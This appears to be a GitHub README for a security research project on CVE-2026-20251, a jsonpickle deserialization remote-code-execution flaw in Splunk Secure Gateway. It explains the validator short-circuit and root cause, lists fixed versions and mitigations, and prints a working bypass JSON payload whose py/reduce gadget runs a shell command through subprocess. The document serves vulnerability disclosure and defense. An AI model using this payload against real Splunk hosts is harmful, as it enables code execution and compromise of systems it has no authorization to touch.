reactivezero/CVE-2026-20251

GitHub: reactivezero/CVE-2026-20251

针对 Splunk Secure Gateway jsonpickle 反序列化 RCE 漏洞(CVE-2026-20251)的安全研究项目,包含漏洞根因分析、验证器绕过原理说明和概念验证脚本。

Stars: 0 | Forks: 0

# CVE-2026-20251 — Splunk Secure Gateway jsonpickle 反序列化 RCE **研究员:** Fady Oueslati · ReactiveZero Security Research **参考编号:** 2026FO-SPLUNK-20251 **CVSS:** 8.8 (`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`) **状态:** 开放 — 补丁已发布 ## 概述 低权限认证用户可以通过在 KV Store(`mobile_alerts` collection)中存储一个精心构造的文档,在 Splunk 主机上实现**远程代码执行**。Splunk Secure Gateway (SSG) 随后会读取该文档并将其直接传递给 `jsonpickle.decode()`,从而重构任意 Python 对象——包括执行 OS 命令的对象。 该调用设置了 `safe=True`,但此标志仅限制了旧版的 `py/repr` eval 路径。`py/reduce`、`py/object`、`py/type`、`py/function` 和 `py/module` 标签不受影响且可被完全利用。 一个单独的验证器(`check_alert_data_valid_json`)旨在阻止危险的标签,但会在识别到第一个键时**短路**:任何第一个顶层键是允许的 `py/object`(值以 `spacebridgeapp` 开头)的文档都会立即返回 `True`,导致同级键——包括恶意的 `py/reduce` gadget——完全未被检查。 ## 受影响版本 | 分支 | 修复版本 | |--------|----------| | Splunk Secure Gateway 3.9.x | **3.9.20** | | Splunk Secure Gateway 3.10.x | **3.10.6** | | Splunk Secure Gateway 3.8.x | **3.8.67** | | Splunk Enterprise | **10.0.7 / 10.2.4 / 10.4.0+** | 测试实例:运行于 **Splunk Enterprise 10.0.6** (macOS x86\_64) 上的 **SSG 3.9.19**。 ## 攻击链 ``` Step 0 Low-privilege attacker writes a crafted bypass document to the 'mobile_alerts' KV Store collection via the Splunk REST API. No admin or power role required. Step 1 SSG processes an alert fetch request. alerts_request_processor.py reads the document and passes it to check_alert_data_valid_json(). → Validator sees "py/object": "spacebridgeapp..." as the FIRST key, returns True, and never inspects the "notification" sibling that carries the py/reduce gadget. Step 2 The (now validated) document is passed to jsonpickle.decode(..., safe=True). jsonpickle loadclass()es the lure Alert object, instantiates it, then iterates its stored attributes. When it reaches the "notification" value, _restore_reduce() fires: stage1 = f(*args) # unpickler.py ~line 526 safe=True has no effect on this code path. Outcome Arbitrary code execution as the Splunk service account. Requires only a valid low-privilege Splunk login. ``` ### 绕过文档结构 ``` { "py/object": "spacebridgeapp.data.alert_data.Alert", "notification": { "py/reduce": [ {"py/function": "subprocess.check_output"}, {"py/tuple": [["uname", "-a"]]} ] } } ``` 验证器首先检查 `py/object`(被允许),返回 `True`,并且永远不会检查到 `notification`。 ## 概念验证 `poc_cve_2026_20251.py` 演示了构成完整漏洞利用链的两个条件: | 子证明 | 展示内容 | |-----------|---------------| | **A — 验证器绕过** | `check_alert_data_valid_json()` 对绕过文档返回 `True`,从未检查同级值中的 `py/reduce` gadget | | **B — py/reduce 执行** | `jsonpickle.decode(..., safe=True)` 执行了 `subprocess.check_output(['uname', '-a'])`,证明 `safe=True` 并未限制此代码路径 | 该 payload 是故意无害的(只读的 `uname -a`)。这**不是一个武器化的漏洞利用**。 ### 前置条件 - Python 3 - 访问 SSG 捆绑的 `jsonpickle`(从 `/Applications/Splunk/etc/apps/splunk_secure_gateway/lib` 加载) - 一个本地的、经授权的 Splunk 研究实例 ### 用法 ``` python3 poc_cve_2026_20251.py -h 127.0.0.1 ``` ## 根本原因 **文件:** `bin/spacebridgeapp/request/alerts_request_processor.py` ``` alert_json = await response.json() if not check_alert_data_valid_json(alert_json[0]): raise SpacebridgeApiRequestError("alert_data is not valid", ...) alert = jsonpickle.decode(json.dumps(alert_json[0]), safe=True) # ← sink ``` **文件:** `bin/spacebridgeapp/rest/devices/alert_helper.py` ``` # Validator 在遇到第一个以 'py' 为前缀的键时发生短路: for key, value in data.items(): if key.startswith("py"): if key == "py/id": return value.isinstance(int) elif key == "py/object": return value.startswith("spacebridgeapp") # ← returns immediately else: return False # ... sibling keys are never reached ``` ## 修复建议 **主要方案:** 将 Splunk Secure Gateway 升级至已修复版本(3.9.20+、3.10.6+ 或 3.8.67+),并将 Splunk Enterprise 升级至 10.0.7+ / 10.2.4+ / 10.4.0+。 **短期缓解措施**(如果无法立即打补丁): - 如果 Splunk Secure Gateway 应用未处于活跃使用状态,请将其禁用 - 限制 KV Store 写入权限:强制执行最小权限角色,并审查 `mobile_alerts` 上的 collection 级别 ACL **防御性工程模式:** 永远不要从受外部影响的存储数据中重构任意类型。在攻击者可达的输入上替换掉 `jsonpickle.decode()`,改用严格的、经过 schema 验证的解析器,或者向 `decode()` 提供显式的 `classes=` 允许列表。确保验证例程完全遍历嵌套结构,而不是在识别到第一个键时短路。 ## 关于 CVE-2026-20253 的说明 同一批次的通告中还包含 CVE-2026-20253(CVSS 9.8,通过 PostgreSQL sidecar endpoint 实现的未授权任意文件创建)。在受测试的 macOS x86\_64 版本的 Splunk Enterprise 10.0.6 上**不存在**此漏洞:该平台并未提供 PostgreSQL sidecar 组件,不存在 sidecar 二进制文件或进程,也未观察到相应的端口。 这阐明了一个重要的保障原则:**受影响的版本字符串是漏洞可利用性的必要条件,而非充分条件**。组件级别的验证会实质性地改变真实的风险状况。 ## 评估详情 | 字段 | 值 | |-------|-------| | 评估参考编号 | 2026FO-SPLUNK-20251 | | 测试类型 | 白盒漏洞验证(静态代码分析) | | 日期 | 2026年6月26日 | | 范围 | 本地 Splunk Enterprise 10.0.6 研究实例 (127.0.0.1:8089) | | 分类 | 机密 | *ReactiveZero Security Research*
标签:Go语言工具, Python, RCE, 反序列化, 无后门, 逆向工具